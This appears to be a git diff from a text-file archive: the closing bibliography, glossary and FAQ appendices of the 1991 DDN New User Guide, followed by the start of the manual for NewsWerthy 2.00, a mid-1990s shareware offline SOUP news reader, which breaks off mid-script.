[SCC/DDN-SECURITY-9003] + +DRAFT [Page 96] DRAFT + + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +8. RFC 1177, FYI on Questions and Answers: Answers to commonly asked "new + internet user" questions. 1990 August. 24 p. (Also FYI 4) + [RFC/RFC1177.TXT] + + +Auxiliary User Documentation + +DEC-20 User's Manual. Digital Equipment Corporation, Maynard, MA, 1982. + +InfoMail Primer. DCAC 310-P70-70. 1986 May. + +InfoMail Reference Manual. DCAC 310-P70-71. 1986 June. + +InfoMail User Guide. Bolt Beranek and Newman Inc., Cambridge, MA, 1982. + +Mooers, Charlotte. The HERMES Guide. Bolt Beranek and Newman Inc., +Cambridge, MA, 1982. + + +General References + +Bolt Beranek and Newman Inc. A History of the ARPANET: the First Decade. + Report No. 4799, Defense Advanced Research + Agency, Arlington, VA, 1981. [AD-A1115 440] + +Cerf, V. and Lyons, R. "Military Requirements for Packet-Switched + Networks and Their Implications for Protocol + Standardization." Computer Networks. 7(5): + 293-306; 1983 October. + +Chou, W. (Ed.). Computer Communications: Principles. + Englewood Cliffs, NJ: Prentice-Hall, Inc.; + 1983. + +Comer, D.E. Internetworking with TCP/IP: Principles, + Protocols, and Architecture. Englewood + Cliffs, NJ: Prentice-Hall, Inc.; 1988. + 382 p. + + + +DRAFT [Page 97] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +DDN Defense Data Network Brochure. Defense Information Systems Agency, +Defense Network Systems Organization, Washington, DC, 1984. + +DDN Protocol Handbook, 4 Volumes. SRI International (former DDN NIC), Menlo +Park, CA. 1985. + +DDN Subscriber Security Guide. Defense Data Network, Program Management +Office, Defense Information Systems Agency, Washington, D.C. 1983. +[AD-A152 524] + +Frey, D.; Adams, R. !%@:: A Directory of Electronic Mail + Addressing and Networks. Newton, MA: + O'Reilly and Associates; 1989 August. 284 p. + +FYI 2; FYI on a network management tool catalog: Tools for monitoring and +debugging TCP/IP internets and interconnected devices. 1990 April. 126 p. +(Also RFC 1147) [FYI/FYI2.TXT] + +FYI 3; FYI on where to start: A bibliography of internetworking information. +1990 August. 42 p. (Also RFC 1175) [FYI/FYI3.TXT] + +Hinden, R., Haverty, J. +and Sheltzer, A. "The DARPA Internet: Interconnecting + Heterogenous Computer Networks with + Gateways." Computer. 16(9): 38-48; + 1983 September. + +Jennings, D.M., et al "Computer Networking for Scientists." + Science. Vol 231: 943-950; 1986 February. + +LaQuey, T.L. (Ed.) Users' Directory of Computer Networks. + Bedford, MA: Digital Press; 1990. 630 p. + +Network Protocol Implementations and Vendors Guide. SRI International (Former +Network Information Center), Menlo Park, CA. 1990. [NETINFO/VENDORS-GUIDE.DOC] + +Partridge, C. (Ed.) Innovations in Internetworking. Norwood, MA: + Artech House; 1988. + +Perry, D.G., et al The ARPANET and the DARPA Internet. Library + Hi Tech. 6(2): 51-62; 1988 April. + +DRAFT [Page 98] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +Quarterman, J.S. Matrix: Computer Networks and Conferencing + Systems Worldwide. Bedford, MA: Digital + Press; 1989. 719 p. + +Ubois, J. "Defense Data Network." National Defense. + Vol.74: 33-35; 1990 February. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +DRAFT [Page 99] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + + + SECTION 11. GLOSSARY + + +acoustic coupler + A type of modem that converts digital signals into sound for trans- + mission through telephone lines and performs the reverse operation when + receiving such signals. Acoustic couplers generally have cups into + which the telephone handset is placed to make the connection. + +anonymous login convention + Standard username (anonymous) and password (guest) that allows a user to + log in within FTP for the purpose of retrieving an unprotected public + access file. + +ARPANET + Packet-switched network developed by the Defense Advanced Research + Projects Agency. + +ASN Autonomous System Number. A number assigned by the NIC to an autonomous + network that request connection to the Internet. + +backbone + The nodes (PSNs), the TACs, and the telephone lines connecting them that + form the core of the DDN. + +BBNCD + Bolt Beranek and Newman, Inc., Communications Division; a major hardware + and software developer for the DDN. + +bps Bits per second. The unit used for measuring line speed, i.e., the + number of information units transmitted per second. + +case sensitive + Software differentiation between uppercase and lowercase characters. + +CERT + Computer Emergency Response Team, the DARPA-sponsored group responsible + for coordinating many security incident response efforts. + + + +DRAFT [Page 100] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +circuit-switched + A type of network connection. A circuit-switched connection is a + continuous electrical connection established between sending and + receiving users for their exclusive use. The connection remains active + until it is closed by the using parties. + +concentrator + A gateway; that is, a computer that interconnects networks. + +connection + An access path between two ports on a network, established for data + transmission between the ports. + +CONUS + Military acronym for the Continental United States. + +DARPA + Defense Advanced Research Project Agency. The agency that created and + administered the ARPANET. + +DCA DCSO + Defense Communications Agency, Defense Communications System + Organization; the group responsible for administering the DDN. (Now + known as the Defense Information Systems Agency, Defense Network Systems + Organization³DISA DNSO.) + +DDN Defense Data Network. The DoD long-haul, packet-switched computer + communications network that includes the MILNET as one of its + subnetworks. + +DIIS + The DDN Installation Integration and Support task, which encompasses the + NIC and its services. + +DISA DNSO + Defense Information Systems Agency, Defense Network Systems + Organization. Formerly the DCA DCSO (see above). + +DNS Domain Name System. The hierarchical, distributed database used for + host name and address resolution that has replaced the need for a + centralized host table. + +DRAFT [Page 101] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +DoD Department of Defense. + +DRI Defense Research Internet. A network that will provide state-of-the-art + internetworking services for the DoD. It is still in the planning + stages. + +DSN Defense Switched Network. A proprietary Government telephone network. + +DTIC + Defense Technical Information Center, Cameron Station, Alexandria, + VA 22314. A depository for many DoD technical reports. + +FQDN + Fully Qualified Domain Name. The complete hostname that reflects the + domains of which the host is a part. + +FTP File Transfer Protocol. A network utility for copying files across the + network; defined in RFC 959. + +FYI A "For Your Information" document, issued also as an RFC, that contains + information of general interest to the Internet community. + +gateway + A computer that interconnects networks. + +GOSIP + Government Open Systems Interconnection Profile. A document that + addresses the DDN's planned transition from TCP/IP protocols to OSI + protocols. + +handle + Unique character string identifier assigned to each entry in the NIC + WHOIS database. + +host + A computer connected to a PSN on the DDN. + +hostname + A name that officially identifies each computer attached to the DDN. + +IMP Interface Message Processor; see PSN. + +DRAFT [Page 102] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +INCC + The Internet Control Center. The service center that provides help to + Air Force concentrator users. + +InfoMail + The electronic mail program developed by BBNCD. + +Internet + The specific IP-based internetwork of which the DDN is a part. + +internetwork + A network, such as the DDN, that consists of many interconnected + networks. + +IP Internet Protocol. A DoD standard protocol that allows dissimilar + hosts to connect to each other through the DDN, defined in RFC 791. + +IR Internet Registry. The function at the NIC that assigns official IP + network numbers. + +Kermit + An error-checking file-transfer protocol used to copy files from one + computer to another. Also the name given to the public domain software, + distributed by Columbia University, that supports this protocol. + +LAN Local Area Network. A network of directly connected machines usually + located within 10 miles of one another. + +long-haul net + A network spanning long geographic distances, usually connected by + telephone lines or satellite radio links. + +mailbridge + A gateway between the MILNET and the Internet, through which mail and + other data passes. + +MIL STD + Military Standard. The official military version of a specification. + +MILNET + The DDN unclassified operational military network. + +DRAFT [Page 103] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +modem + A device that converts digital signals into analog signals (and back) + for transmission over telephone lines (modulator/demodulator). + +MTAC + Or Mini-TAC. A new, improved machine that allows remote network access + in essentially the same manner as a TAC, but accommodates a wider + variety of operating systems. + +NETINFO + The name of the publicly accessible directory on the NIC.DDN.MIL host + that stores many files of interest to users of the network. + +network + The hardware, software, and connections needed to distribute the + processing of data in a reliable and efficient manner and to enable + users to exchange and share that data. + +NIC DDN Network Information Center, located at GSI headquarters in + Chantilly, VA. + +NIC.DDN.MIL + The hostname of the NIC host. Its network address is 192.112.36.5. + +NICNAME + See WHOIS. + +NIC/Query + A general information program on NIC.DDN.MIL. + +NMC Network Monitoring Center. The CONUS MILNET NMC is located at 701 S. + Courthouse Rd., Arlington, VA 22204-2199. Others are located in Europe + and Hawaii. + +NNSC + The National Science Foundation's Network Service Center. The center + that provides support for the NSFNet backbone. The NNSC also publishes + the Internet Resource Guide. + +node + On the DDN, a packet switch or PSN. A computer that handles network + message traffic. +DRAFT [Page 104] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +NREN + The National Research and Education Network, the planned high-speed + national network that will provide a platform for research and + educational networking efforts. + +NSC Node Site Coordinator. The local DDN contact responsible for node or + TAC equipment. + +NSFNet + The packet-switched network that is the backbone of much of the + Internet. + +NSO Network Security Officer. The NSO is responsible for setting DDN + security policy and overseeing its implementation. + +NTIS + National Technical Information Service, U.S. Department of Commerce, + Springfield, VA 22151, (703) 487-4650. A national depository for + unclassified technical documents. + +OCONUS + A military acronym for "Outside the Continental U.S." + +operating system + Software that supervises and controls tasks on a computer. + +OSD Office of the Secretary of Defense. + +packet switching + A data transmission system that uses addressed packets, and in which a + communications channel is occupied only for the duration of the packet + transmission. + +pathname + A character string that fully identifies a file. Pathnames normally + contain (or imply) device and/or directory names and a filename + specification. FTP, TELNET, and electronic mail do not specify a + standard pathname convention. Each user must follow the file naming + conventions of the file systems he wishes to use. + + + +DRAFT [Page 105] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +packet + The basic unit of data transmitted over the DDN. Each packet contains + a header, which consists of addressing and other control information + and, optionally, any associated data destined for a network user + process. + +POC Point of Contact. + +protocol + Technical specifications governing the format and timing of information + exchange between two communicating software processes. + +PSN Packet Switch Node. A store-and-forward packet switch (formerly called + an IMP). + +RFC Request For Comment. A series of technical notes describing DARPA and + DDN research and development, particularly in the areas of protocol + design and internetworking. Available for anonymous FTP at NIC.DDN.MIL + in directory RFC. + +SCC The Security Coordination Center, located at the NIC, that is + responsible for collecting security-related information, cooperating + with the NSO in security incident response, and issuing DDN Security + Bulletins. + +server + A process providing a generalized service to subscribing user processes. + Server processes normally "listen" on a network address, ready to + respond to an incoming service request. The FTP Server is such a + process; it responds to file transfer requests from FTP users. + +SERVICE + The name of the NIC's automatic mail server, SERVICE@NIC.DDN.MIL. + Send a message to SERVICE@NIC.DDN.MIL with "Subject: HELP" for more + information. + +session + The time during which a connection remains open between a user and + server port on a network. For example, in an FTP session, the end-user + invokes FTP, names the server host he wishes to connect with, issues FTP + commands, and logs off. + +DRAFT [Page 106] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +SIG Special Interest Group. An online mailing group whose members exchange + information on a particular topic. + +site Organization or facility where a host is located. + +SMTP + Simple Mail Transfer Protocol. Defined in RFC 821. + +socket + Logical address of a communications access point to a specific device or + program on a host. + +SRI SRI International, Menlo Park, CA, former location of the DDN Network + Information Center and early contributor to the development of the DDN. + +SunOS + Sun Microcomputer Systems' proprietary UNIX-based operating system. + The operating system used by the NIC host. + +TAC Terminal Access Controller. A special type of computer attached to a + PSN. It allows direct terminal access to the DDN backbone. + +TAC Access Code + Password assigned to MILNET TAC users for TAC login. + +TAC Userid + Alphanumeric character string that identifies a TAC user upon TAC login. + +TACACS + TAC Access Control System. A password system that limits use of TACs + to authorized users. + +TACNEWS + NIC program for reading DDN Newsletters, Bulletins, and other items of + interest to TAC users. + +TCP/IP + Transmission Control Protocol/Internet Protocol. DoD standard network + protocols defined in RFC 793 (TCP) and RFC 791 (IP). + + + +DRAFT [Page 107] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +TELNET + A protocol for opening a transparent connection to a distant host; + defined in RFC 854. + +terminal + A communication device that lets a user send information to a computer + by typing on a keyboard. It prints responses from the computer on paper + or a screen. + +TIP Terminal Interface Processor. A predecessor of the TAC, serving a + similar function. See TAC. + +UNIX + An AT&T Bell Laboratories proprietary operating system that runs on + large and small computers. It has become widely used in the scientific + research and development community. + +user + A human end-user or an automated user process authorized to access + network services. + +WHOIS + NIC program used to access the NIC electronic white pages database. + + + + + + + + + + + + + + + + + + + +DRAFT [Page 108] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + + + APPENDIX A. NETWORK RESOURCES + + +One of the questions new users frequently ask when they finally get access to +the network is, "Now what? What's out there?" This section lists a few +places you can look for more information about what is available to Internet +users. + + +Special Interest Groups + +An important part of the Internet are its many online Special Interest Groups +(SIGs), which discuss topics ranging from artificial intelligence to Zenith +PCs. A SIG is an electronic mailing list dedicated to the discussion of a +particular topic. SIGs are a good way for a new user to learn more about the +network. Anyone can contribute to a SIG by simply sending mail, and most SIGs +are open for anyone to join. Information on network SIGs can be found in a +file nicknamed the List-of-Lists, a master list of SIGs with a brief +description of each group and how to join it. + +For users who have never done a file transfer before, this is a perfect first +opportunity. You can use FTP to copy the List-of-Lists from the +FTP.NISC.SRI.COM host by logging in with "USERID anonymous" and "PASSWORD +guest" and using the pathname netinfo:interest-groups. + +Note that many individual hosts redistribute mail for their users--that is, +mailing list messages or digests are delivered once to a single local mailbox, +and then they are announced or forwarded to a list of interested local users. +Mail redistribution eliminates the need for the local mailer to process myriad +copies of the same message directed to different users and so conserves local +computer resources. Before adding your name to a SIG distribution list, ask +your Host Administrator or User Representative if SIG or digest mail is +redistributed on your host or posted in a centralized place to be read by all +local users. + +In addition, all traffic on the MILNET is subject to usage-sensitive billing, +so before adding your name to a SIG, be sure that the mail traffic you would +generate is consistent with the usage policies of your host. + + + +DRAFT [Page 109] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + +NNSC Internet Resource Guide + +The NSF Network Service Center (NNSC) compiles and makes available an Internet +Resource Guide. The goal of the guide is to increase the visibility of +various Internet resources that might help users do their work better. While +not yet an exhaustive list, the guide is a useful compendium of many +resources and can be very helpful to a new user. + +In the NNSC guide, resources are grouped into sections by type. Current +sections include descriptions of online library catalogs, data archives, +online white pages directory services, networks, network information centers, +and computational resources such as supercomputers. Each entry contains the +following information: + + * a description of the resource, + * an identification of who can use the resource, + * an explanation of how to reach the resource network via the Internet, + * a list of contacts for more information. + +The NNSC distributes the list electronically. To receive a guide, or to get +on a mailing list that alerts you when it is updated, send a message to +RESOURCE-GUIDE-REQUEST@NNSC.NSF.NET. + + +FYI Documents + +"FYIs" are a series of special RFCs. The FYI documents address information +that is of general interest to the Internet user community. They do not +define standards or contain protocol specifications. Rather, they address +more general topics, provide insight into Internet conventions, answer +commonly asked questions, contain background or historical information, or +provide resource information such as bibliographies or descriptions of +software. Some FYIs are addressed specifically to new users. + +Because FYIs are also RFCs, they are listed along with all the other RFCs in +the RFC Index. However, the file FYI/FYI-INDEX.TXT on the NIC host lists only +the FYIs. Each index notes both the FYI number and the RFC number of each +FYI. You can obtain the FYI Index online by FTPing it or by requesting it +through the SERVICE@NIC.DDN.MIL mail service. See Section 5.1.2 for FTP +guidelines and Section 6.3.5 for directions on retrieving information via +SERVICE. Hardcopies of RFCs are available from SRI International, Menlo Park, +CA (the former NIC). + +DRAFT [Page 110] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +NIC Contacts Files + +Often users need to communicate with the official Point of Contact (POC) +responsible for a specific network or domain. While this information is +available via the WHOIS program on the NIC host, as described in Section +6.3.1, the NIC also provides files that contain compilations of the contacts +for domains and networks. These files are updated weekly and provide a +central resource for useful domain and network POC information. + + * NETINFO/NETWORK-CONTACTS.TXT lists all assigned networks by number + and lists the name of the network, plus the name, phone number, and + electronic mailbox for each POC. + + * NETINFO/DOMAIN-CONTACTS.TXT is organized by domain name and lists the + name, phone number, and electronic mailbox for each domain POC. + +With the network information sources and contacts just outlined and the tools +introduced in the previous section, you are now ready to explore the network +on your own. + + + + + + + + + + + + + + + + + + + + + + + +DRAFT [Page 111] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + + APPENDIX B. COMMONLY ASKED QUESTIONS + + +Here are answers to some of the questions most commonly asked by users. The +selections were made from questions addressed to the DDN Network Information +Center. (See Section 6.1 for NIC network and U.S. mail addresses.) + + +1. I want to send mail to my colleague, John Smith. What is his network + mailbox? + + Answer: + The NIC provides an online program called WHOIS (or NICNAME) that + contains the names, addresses, phone numbers, and online mailboxes of + many network users. Since some Host Administrators install this program + on their host, you should ask him/her if it is available locally. + Alternatively, you may make a TELNET connection to NIC.DDN.MIL and use + the WHOIS program running on the NIC host. (Login to NIC.DDN.MIL is not + required.) The WHOIS program may also be accessed via electronic mail. + Send a message to SERVICE@NIC.DDN.MIL and include the word WHOIS and the + item you wish to search for in the subject line of your message. You + will receive an answer overnight. For more information on using SERVICE, + see Section 6.3.5. + + +2. This TAC phone number doesn't work. What should I do? + + Answer: + The Network Information Center can test the TAC from our site to + determine if the problem is in the TAC or if it relates to your equipment + or the procedure you are using. If the problem is the TAC, we can give + you phone numbers for other TACs. We can help you coordinate with the + MILNET Monitoring Center to report the TAC problem. + + +3. I will be traveling and need to log in to read my mail. How can I find + a TAC phone number to use while I'm on the road? + + Answer: + You can locate TAC phone numbers in several ways. The back of your TAC + card lists many of them. The TACNEWS program available on the + +DRAFT [Page 112] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + + NIC.DDN.MIL host has a menu option that will show you the three TACs + closest to a phone number you provide. TACNEWS also provides lists of + phone numbers for TACs both within and outside the U.S. See Section + 6.3.3 for an example of TACNEWS usage. In addition, if you call the NIC + Help Desk, we will be happy to provide you with phone numbers of TACs. + + +4. What is the difference between the MILNET and the DDN? + + Answer: + The MILNET is a wide area network that constitutes one subnetwork of the + DDN. The MILNET carries unclassified operational data. It is the + segment of the DDN that is connected to the Internet. The other + subnetworks of the DDN carry classified information and are standalone + networks. + + +5. What is the difference between the MILNET and the Internet? + + Answer: + The Internet is a collection of TCP/IP-based wide area and local area + networks that are interconnected by various gateways so that users on one + network can communicate to users on any of the other networks. (In + addition, some non-TCP/IP-based networks, such as BITNET, are accessible + to Internet users via electronic mail. These networks are usually not + strictly considered a part of "the Internet.") The MILNET is a wide area + network that is connected to the Internet via several gateways called + mailbridges. + + +6. I see a connection on my host from a network number I don't recognize. + How can I find the number of someone to contact on that network to check + on this connection? + + Answer: + Every IP network number assigned by the Internet Registry at the NIC has + a registered Point of Contact (POC) who is responsible for that network. + To find a particular POC, you can look up the number of the network via + the NIC's WHOIS program. Search only on the network portion of the + number and type the local portions as zeroes. (See Section 8.4 for a + brief explanation of network addressing. See Section 6.3.1 for how to + +DRAFT [Page 113] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + use WHOIS.) In addition, the NIC provides a publicly accessible, + regularly updated file that lists all the POCs for each network number + assigned. The file is NETINFO/NETWORK-CONTACTS.TXT. The POC information + is listed by network number. + +7. How do I get a TAC card? + + Answer: + Before you can get a TAC card, you must have an account on a host. Then + the Host Administrator of a MILNET host (that is, a host whose address is + on network 26) must approve a TAC card for you. See Section 4 for a more + complete explanation of TAC cards and TAC usage. + +8. What is an RFC? + + Answer: + As RFC 1177 [8] explains, the Request for Comments documents (RFCs) are + working notes of the Internet research and development community. A + document in this series may be on essentially any topic related to + computer communication, and may consist of anything from a meeting report + to the specification of a standard. Most RFCs are descriptions of + network protocols or services, often giving detailed procedures and + formats. These RFCs generally provide information in sufficient + technical detail to enable developers to create implementations. Other + RFCs report on the results of policy studies or summarize the work of + technical committees or workshops. Currently, all Internet standards + are published as RFCs, but not all RFCs are standards. RFCs are publicly + available on the NIC.DDN.MIL host. Indexes of RFCs organized by number + (in reverse order with the most current RFC at the top), by author, or by + title are available from the NIC as well. + + +9. May I be registered in the WHOIS database? + + Answer: + Any TAC user must be registered with the NIC. In addition, any other + network user can be added to the WHOIS database if he has a working + network mailbox. Information regarding a registered user, such as his + address and network mailbox, is visible via the WHOIS program. Thus, + WHOIS acts as a "white pages" directory of network users, enabling other + users to ascertain where to send mail to them. To register in the + database, fill out the template provided in Section 6.2.1 and return it + online to REGISTRAR@NIC.DDN.MIL. The NIC depends on users to send + updated information whenever their addresses or mailboxes change. + +DRAFT [Page 114] DRAFT + + + diff --git a/textfiles.com/internet/nwerthy.man b/textfiles.com/internet/nwerthy.man new file mode 100644 index 00000000..c31d5cd7 --- /dev/null +++ b/textfiles.com/internet/nwerthy.man @@ -0,0 +1,1681 @@ + + + + + + NewsWerthy (C) 1994, 1995 William Werth + + Version 2.00 + + + + + I. INTRODUCTION TO NEWSWERTHY 2 + 1. WHAT IS NEWSWERTHY? 2 + 2. SYSTEM REQUIREMENTS 4 + 3. CONTACTING THE AUTHOR 4 + 4. REGISTERING NEWSWERTHY 4 + 5. DISCLAIMER 5 + 6. THANKS AND KUDOS 6 + II. QUICK START PROCEDURE 6 + III. USING NEWSWERTHY 7 + 1. SETTING UP THE HOST (BBS) FOR SOUP PACKETS 8 + 2. DOWNLOADING THE MAIL PACKET FROM THE HOST (BBS) 10 + 3. UPLOADING A REPLY PACKET TO THE HOST (BBS) 10 + 4. READING THE MESSAGES IN THE MAIL PACKET 10 + 5. SEARCHING MESSAGES IN THE MAIL PACKET 12 + 6. REPLYING TO A MESSAGE 13 + 7. POSTING A NEW MESSAGE TO A NEWSGROUP 15 + 8. SENDING AN EMAIL MESSAGE 15 + 9. REVIEWING & MODIFYING REPLIES OR STORED MESSAGES 15 + 10. SAVING MESSAGES 16 + 11. PRINTING MESSAGES 17 + 12. UQWK COMMANDS 17 + 13. USING THE KEYBOARD 17 + 14. USING THE MOUSE 19 + 15. CONFIGURATION 20 + DIRECTORIES & UTILITIES 20 + MESSAGE OPTIONS 21 + DATA-BASING OPTIONS 22 + PRINTER OPTIONS 23 + COLORS SETUP 24 + 16. VIEWING A FILE 24 + 17. ABOUT NEWSWERTHY 24 + IV. EXAMPLE USES OF NEWSWERTHY 25 + 1. SEVERAL PACKETS, ONE REPLY PACKET 25 + 2. WITH PGP 26 + 3. WITH LAPTOPS 26 + 4. WITH TAGLINE MANAGERS 26 + 5. WITH MULTIPLE USERS 27 + 5. READING THE DATA-BASE WITH THE NUMBER KEYPAD 27 + V. GLOSSARY 28 + VI. INDEX 30 + + + + + 1 + + + I. INTRODUCTION TO NEWSWERTHY + ___________________________________________________________ + + This section is an introduction to NewsWerthy and + registration requirements. + + + 1. WHAT IS NEWSWERTHY? + ___________________________________________________________ + + NewsWerthy is an off-line message reader for the SOUP + format. This is the format generated by uqwk, when used with + the +L parameter (but not the only way to make a SOUP + packet). + + NewsWerthy can be used as a packet reader, or as a data- + basing reader. With NewsWerthy you can read one packet, or + messages from several packets at a time. Your position in + the packet and which messages have been read are saved, so + you can return to where you left off, and continue reading + messages. If you want to keep any messages, they can be + saved to folders. In data-basing mode you have several + options as to how messages are expired, otherwise in packet + mode they are deleted when a new packet is opened. + + NewsWerthy has a user interface with familiar pull down + menus and context sensitive help that can be accessed easily + with the keyboard or mouse. It has all the features you'll + need to read, reply and save messages for later reference. + It has several options for reading mail, depending on your + preferences. You can easily read all messages, or just a few + by using its search capabilities. + + + Features: + + * A data-base of all your messages or just the current + packets messages can be read. + + * Shell to DOS anywhere (yes anywhere with Ctrl-S). + + * An address book for email addresses with an alias for each + entry. + + * Edit messages using your favorite editor. + + * Print all or part of a message. + + * Replies to a message in a newsgroup can be sent by email + or to the newsgroup. + + 2 + + + * Replies can be re-sent if auto-saved. + + * Messages can be forwarded using email. + + * Automatically appends a signature file to your replies. + + * Save messages to a folder using a pick list of names up to + 80 characters long (no DOS filename limit). + + * Append or overwrite all or part of a message to a text + file. + + * Delete unwanted messages. + + * Search for a message using any combination of 1) Key words + in the message text 2) Subject 3) From. + + * Uses "smart searching" (remembers what you last searched + for in a newsgroup). + + * All setup is integrated into the program, including color + selection. No need to use a text editor on the + configuration file. + + * Configurable to your message reading style. + + * Context sensitive help is displayed when F1 is pressed. + + * Pull down menus, with a hint line on the bottom of the + screen, for the usage of each menu item. + + * Supports monochrome, B/W and color monitors. + + * Quoted text in messages is color highlighted. + + * Marks read, saved or killed messages. + + * Sort messages on date, author, subject or no sort. + + * Remembers what newsgroup and what message you were last + reading, to easily pick up where you left off reading. + + * RFC-822, RFC-1036 & SOUP compliant. + + * Will optionally word wrap the displayed message. + + * Sorts mailing lists into their own separate "news" group. + + * Files can be attached to replies using UUEncode, XXEncode + or Base64. + + 3 + + + * Attached files in a message, in any of the above three + formats can be saved to a text file. + + * Different setups can be used for each user (see section IV + of manual). + + + 2. SYSTEM REQUIREMENTS + ___________________________________________________________ + + An IBM PC or compatible with DOS 3.0 or higher. The monitor + can be monochrome, hercules or color. A hard drive with + several megabytes free. + + + 3. CONTACTING THE AUTHOR + ___________________________________________________________ + + If you have any questions, comments or need technical + support, feel free to contact me in one of the following + ways: + + 1) By email at billw@eskimo.com + + 2) I monitor the usenet newsgroup alt.usenet.offline-reader. + + 3) By mail at the address listed for registration. + + 4) In person at (206) 258-1755, evenings 5pm to 10pm Pacific + time and weekends. + + + 4. REGISTERING NEWSWERTHY + ____________________________________________________________ + + Why register? Registering removes the opening unregistered + message. The helpful (for new users) but somewhat annoying + "Are you sure you want to edit the message selected?" + message, plus several others are also disabled. Registered + users who provide an email address will receive notice of + any significant updates. + + There is also a 30 day evaluation period on the data-basing + feature. After 30 days and 15 uses you will be asked to + register. After 60 days and 30 uses, you will only be able + to read new packets in the packet mode. + + Registered users will be able to use the protected mode + version of NewsWerthy. It is the same as the shareware + version, except that it requires a '286 or better CPU and + uses virtual memory. This allows very large messages and + 4 + + + newsgroups to be read, since it is not limited to + conventional memory. + + Also if you find this program useful, you will surely want + to see more features added. This can only happen if I + receive your support. Many hours of work have gone into + making this program, so send in the registration form and + you will receive a registration number. Your registration + will also be good on future updates. + + The registration form can be printed by pressing P at the + opening screen. + + NewsWerthy is released as shareware. You are encouraged to + make copies and distribute them for others to use. The only + restriction is that the copies are in their complete and + unmodified form. A list of all the files is in the + README.TXT file. + + To continue using NewsWerthy past the evaluation period, + send $25 US to the address below: + + William Werth + 4404 Terrace Dr. #4 + Everett, Wa 98203 + + If you don't use the registration form, be sure and include + your email address and the name to register NewsWerthy + under, so I can send you a registration code number. If + you'd like me to send your registration code by snail mail, + include your mailing address. + + + 5. DISCLAIMER + ___________________________________________________________ + + This program has been thoroughly tested but due to the + complex nature of today's hardware, the author, William + Werth, makes no warranty of any kind, express or implied, + including without limitation, any warranties of + merchantability and/or fitness for a particular purpose. + William Werth will not be liable for any damages, whether + direct, indirect, special or consequential arising from + failure of this program to operate in the manner desired by + the user. William Werth shall not be liable for any damage + to data or property which may be caused directly or + indirectly by the use of this program. + + + + + 5 + + + 6. THANKS AND KUDOS + ___________________________________________________________ + + I want to thank my beta testers for making NewsWerthy what + it is. + + Arnie, who named NewsWerthy. + + Also my girlfriend Juanita, who showed great patience while + I worked many hours on NewsWerthy. + + Rachel Polanskis, who gave me the motivation to add + attaching files. + + + + II. QUICK START PROCEDURE + ___________________________________________________________ + + Be sure to read the README.TXT file for installation + instructions. Once you've installed NewsWerthy you'll want + to run NWERTHY.EXE. + + NewsWerthy is easy to use and takes a minimum of set-up. You + can always hit the F1 key to get help, or wing it, since you + will be warned of any non-recoverable actions. Most commands + are executed with a single key press indicated by the + highlighted letter in the menu or on the status line. On + start up it will go straight to the configuration dialog if + no previous set-up exists, otherwise Alt-c will get you to + the configuration menu. If you are unsure of any + directories, you can press Ctrl-S to shell to DOS. You will + probably be able to use most of the defaults, but will need + to set up the following: + + 1. Download Directory - Enter the drive and directory where + the mail packet is located. A filename like ESKIMO.ZIP + or ESKIMO*.ZIP can be included too. Including the + filename in the registered version causes the file + dialog to be skipped, and instead goes directly to + unzipping the mail packet. + + 2. Upload Directory - Press Tab to move to this field. Enter + the drive and directory where your communication + program expects to find files to upload. The reply + packet will be placed here and will be named similar to + the mail packet, except the extension will be .REP. I + named my mail packet ESKIMO.ZIP which then translates + to ESKIMO.REP for the reply packet. + + + 6 + + + Or instead, include the full pathname of the reply + packet to always create the same name for the reply + packet, no matter what the name of the mail packet. + + 3. Work Directory - Press Tab to move to this field. Make + this a subdirectory of where NWERTHY.EXE is stored. + Something like C:\NWERTHY\ESKIMO will work fine. While + reading messages, files in this directory are read, so + be sure to put this one on the hard drive. Don't use a + ram drive, if you want NewsWerthy to remember your last + session. + + 3. Folders Directory - Press Tab to move to this field. Make + this a subdirectory of where NWERTHY.EXE is stored. + Something like C:\NWERTHY\FOLDERS + + 4. Text Editor - Press Tab to move to this field. The editor + is only needed if you plan to edit files or reply to + messages. Enter the drive and directory where your + editor can be found. Select an editor that can handle + lines longer than 80 characters. Also error handling + works best if the editor returns an error level other + than 0 on failure. DOS Edit is a good editor to start + out with. No matter what editor you chose, make sure + you always save as a text (ASCII) file. + + Press Enter after any changes are made to save them or + Cancel to ignore them. + + If you already have a SOUP packet, press F3 to unpack it. + Select Yes when prompted to read it, and use the normal + cursor keys, plus the space bar to view the messages. + + The manual can be printed by entering from the DOS prompt: + + COPY NWERTHY.DOC PRN (press return) + + The manual is formatted for 51 lines per page with a top + margin of .4 inches. The margins are 1.25 inches for 60 + characters per line. This should make it printable to single + or continuous sheets with no changes needed. + + + + III. USING NEWSWERTHY + ___________________________________________________________ + + NewsWerthy contains plenty of on-line, context sensitive + help (press F1) and is so easy to use you'll probably never + need to read most of this. But if you are new to off-line + + 7 + + + mail reading, get stuck or just like reading manuals then + here is what you'll need to know. + + + 1. SETTING UP THE HOST (BBS) FOR SOUP PACKETS + ___________________________________________________________ + + NewsWerthy is designed to work with the SOUP format, which + generally means using uqwk. Uqwk generates an AREAS file and + .MSG files containing the messages from the newsgroups + you're subscribed to, plus your email. + + First verify uqwk is available on your BBS. Don't enter uqwk + to test this, instead enter man uqwk, and while you're at it + you might want to at least read the first paragraph or two. + If uqwk is not available, contact your system operator on + how to generate SOUP packets. + + To automate using uqwk you'll want to use something like the + following script on your host system. This script file is + included in the distribution, but here is a copy for your + reference. All lines that start with #, except the first are + optional. + + #!/bin/sh + # Usage: soup [ upload ] + + # Process reply packet if requested + if [ $# -gt 0 ] + then + if [ $1 = "upload" ] + then + echo start your upload of 